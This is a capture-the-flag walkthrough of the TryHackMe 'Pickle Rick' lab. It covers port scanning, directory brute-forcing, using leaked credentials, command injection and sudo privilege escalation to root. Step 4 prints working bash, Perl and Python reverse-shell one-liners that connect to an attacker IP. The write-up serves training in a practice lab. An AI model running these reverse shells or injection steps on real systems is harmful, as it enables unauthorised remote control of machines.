Pickle Rick Try Hack Me Walkthrough

This is a considerably easy machine to hack as it contains easy vulnerabilities.

- ***Step 1:*** NMAP

Enumeration gives us port 22 and port 80 open hence we know that the regular services like OpenSSH and Apache are running on these ports. We now navigate to the port 80 through our browser and find a simple website but upon inspecting it we find a username *R1ckRul3s*.

- ***Step 2:*** Directory Bruteforcing

We will use tools like gobuter, dirbuster and also dirb to directory bruteforce. Upon running these tools, we get a *robots.txt* and *login.php*. The robots.txt contains a string *Wubbalubbadubdub* that can be used as a password for logging in on the site *login.php.* Success!!!

- ***Step 3:*** Command Injection

There we are greeted with a text-input field that takes in commands. We immediately test for command injection using the *ls* command and it works. Now we *cat* the contents of the file *Sup3rS3cretPickl3Ingred.txt* and we get the first ingredient.

- ***Step 4:*** Reverse Shell

Since command injection works why not get a reverse shell by using the reverse shell commands from pentestmonkey. Here we can test for bash, perl, python, php. The bash and the perl reverse shells work. Let us understand it in detail.

1. Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

2. Perl

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

3. Python

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR IP>",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

We will have to do the necessary modifications in the reverse shells and also start the netcat listeners on that specific ports and we get a reverse connection on the port.

- ***Step 5:*** Local enumeration and getting root

We navigate into all the files and folders trying to get the second ingredient and in the */home/rick* directory we get our second ingredient.

Now we have to get root. The popular trick of checking whether we have sudo permissions is by the use of *sudo -l.* We can run any command as root without a password. So, we spawn a root shell now using *sudo /bin/bash.* There is a *3rd.txt* file in /root that contains our 3rd ingredient.

Now Rick has transformed into a human from a pickle. 😋